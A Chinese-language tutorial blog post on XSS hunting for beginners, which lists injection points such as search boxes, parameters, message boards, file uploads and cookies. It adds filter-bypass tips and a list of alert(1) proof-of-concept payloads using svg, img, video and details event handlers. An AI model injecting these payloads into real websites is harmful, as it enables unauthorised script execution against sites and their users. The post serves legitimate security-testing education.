本文主要总结了xss可能出现的场景。
偏向于案例,最后分享一哈简单的绕过和比较好用的标签。

1.搜索框

  • 首先看能否闭合前面的标签。

如输入111”><svg/onload=alert(1)>

查看源码是否将前面标签闭合,可闭合的话可触发xss

  • 如过无法闭合时,用事件来触发xss.

输入1111”><svg/onload=alert(1)>,F12看源码

发现”>无法闭合前面的标签。那么就用事件。

输入1111”onmouseout=”alert(1) 此处的事件是当鼠标放上去移走时触发xss

2.    url参数

直接在url参数上插入xss代码。

3.    Post传递的参数

在Post数据包的参数的xss

4.    留言板

留言板的基本都是存储xss

一般都是闭合前面字符,再插入xss代码。

具体要看插入的xss在源码中的位置。

5.    发布文章

发布文章处就和自定义一个html页面差不多。

可以自己自定义代码。同时要看系统的过滤了哪些标签。

src中存在较多的一般是某某智能系统,给你了模版,还可以自定义的。

6.    文件上传的名称处

此处xss较为少见,是因为返回包将输入的文件名重新输出了出来,造成了xss。

7.    文件上传内容(可定义html页面)

此处一般是上传文件php,asp,jsp等文件,系统会将其存储起来,而不解析。从而上传一个自定义的html让其解析。

访问返回的路径即可。

8.    数据包的cookie处

9.    url无参数处

一般的提交框中插入xss

无参数时。

  • 简单的绕过和标签

最后分享一下简单xss绕过。(还是要看输入的代码在源码中的位置)

三个弹窗函数 alert  confirm prompt

如设置了黑名单可通过编码绕过(url编码,html编码,bs64编码)

过滤了()或者将()输出成中文的()可以用``代替。

拿出较为好用的payload

<details/open/ontoggle=alert(1)>

<svg/onload=alert(1)>

<img/src/onerror=alert(1)>

<video/src/onerror=alert(1)>

<script>(alert)(1)</script>

<video><sourceonerror="javascript:alert(1)">

<video/src/onloadstart="alert(1)">

<ahref=javascript:alert(1)>222</a>

xss挖掘初上手的更多相关文章

  1. XSS编码初析

    首先我们应当了解,当我们发送一个请求链接时,服务器与客户端都发生了什么 这里仅涉及到js的编码问题,因此就编码来说,首先我们确定我们发出的请求是采用GET的方式还是采用POST的方式 若采用GET的方 ...

  2. Flash XSS漏洞快速上手

      0x01 Flash XSS xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss.常见的 ...

  3. XSS漏洞初窥(通过dvwa平台进测试)

    xss的全称是:Cross Site Script,中文名叫“跨站脚本攻击”,因为和CSS重名,所以改名XSS.作为一个网站是肯定要和用户有交互的,那么肯定就伴随着信息的输入输出,而利用xss就是通过 ...

  4. Android 5.0 Lollipop初上手体验

    在等了好几天还没有等到OTA升级提示,前天笔者给Nexus4线刷入了官方提供的Lollipop的镜像,在试用了这两天之后,现在总结下自己感觉很惊艳的地方和一些地方的吐槽.(点击图片可以查看大图) 1. ...

  5. TensorFlow.org教程笔记(一)Tensorflow初上手

    本文同时也发布在自建博客地址. 本文翻译自www.tensorflow.org的英文教程. 本文档介绍了TensorFlow编程环境,并向您展示了如何使用Tensorflow解决鸢尾花分类问题. 先决 ...

  6. centos7初上手3-安装apache服务

    前两篇学习安装了mysql服务器,tomcat服务,这篇文章学习安装apache服务 1.执行yum install httpd,安装完成后查看httpd rpm -qa|grep httpd 2.新 ...

  7. centos7初上手2-安装tomcat服务

    上一篇文章说完安装mysql数据库,这篇文章来学习一下tomcat安装 1.先做准备工作,安装jdk,先看服务器上有没有安装相关java文件 下载好1.8版本的安装包,用xftp传到服务器上(根据个人 ...

  8. centos7初上手1-安装mysql数据库

    随着云服务器的普及,购入云服务器的门槛越来越低,对一个程序员来说,很多人会购买一款云服务器.以前买过两年windows服务器(没有什么实际用途,就是为了玩),最近有机会接触一下linux服务器,选择了 ...

  9. Linux初上手!

    虚拟机Virtual Box装的Kali Linux,是Debian的发行版本,安装过程不说了,不是硬盘安装也没什么说的,由于是新手所以只有两个分区,一个[/]和一个[swap] 装好之后是xwind ...

随机推荐

  1. JS一直是单线程,异步(定时器,ajax请求等)是由浏览器来实现的!(转)

    原文地址:https://www.cnblogs.com/woodyblog/p/6061671.html 1.自己画的一张示意图 2.DOM一变化,界面就立刻重新渲染,效率必然很低,所以浏览器的机制 ...

  2. java web项目最简单的结构

    为了解“徒手”建立一个web应用,此博客建立简单过程 1.在任意一个目录下,建立一个文件夹,取名字 webDemo .这个应用名字. 2.在 webDemo 内建立一个 WEB-INF 文件夹,此处大 ...

  3. pip命令

    安装包 pip install django   #最新版本 pip install django==1.11.7 #指定版本 pip install django>=1.11.7 #最小版本 ...

  4. SLogViewer下载及使用说明

    SLogViewer 1.0使用说明 SLogViewer是一个基本开源界面库SOUI开发的开源的通用的高性能LOG分析工具, 轻松支持上百万行级别的LOG过滤.  支持LOG格式配置. 只要是固定格 ...

  5. 10_30_unittest

    1.断言 1).self.assertEqual(2,res)#期望值qian.结果值hou2)TextTestRunner 源码 必要的参数3)测试结果 上下文管理器 with open(" ...

  6. java并发编程可见性与线程封闭

    可见性 所谓可见性,指的是当一个线程修改了对象的状态后,其他线程能够看到该对象发生的变化.在单线程环境下,向某个变量写入值,然后在后面的操作再读取,在这个过程中该变量的值对该线程来说总是可见.但是,在 ...

  7. arrayList和vector的区别--2019-4-16

    1. Vector & ArrayList 1)  Vector的方法都是同步的(Synchronized),是线程安全的(thread-safe),而ArrayList的方法不是,由于线程的 ...

  8. 在vue-cli3中优雅的使用 icon

    首先我们得有图标 这里我们从网上下载svg文件或者UI给你导出svg文件 我们在src 文件下新建一个放置svg 文件 的文件夹 @/src/icons.将所有 icon 放在这个文件夹下. 创建 i ...

  9. HeadDoc自动注释语法

    记录于2013/4/23: 关于HeaderDoc注释和标签的简要介绍 每个HeaderDoc注释可分为顶级标签和第二级标签: (1)顶级标签:宣布API的声明类型 (function, struct ...

  10. Scrapy架构概述

    Scrapy架构概述 1, 从最初自己编写的spiders,获取到start_url,并且封装成Request对象. 2,通过engine(引擎)调度给SCHEDULER(Requests管理调度器) ...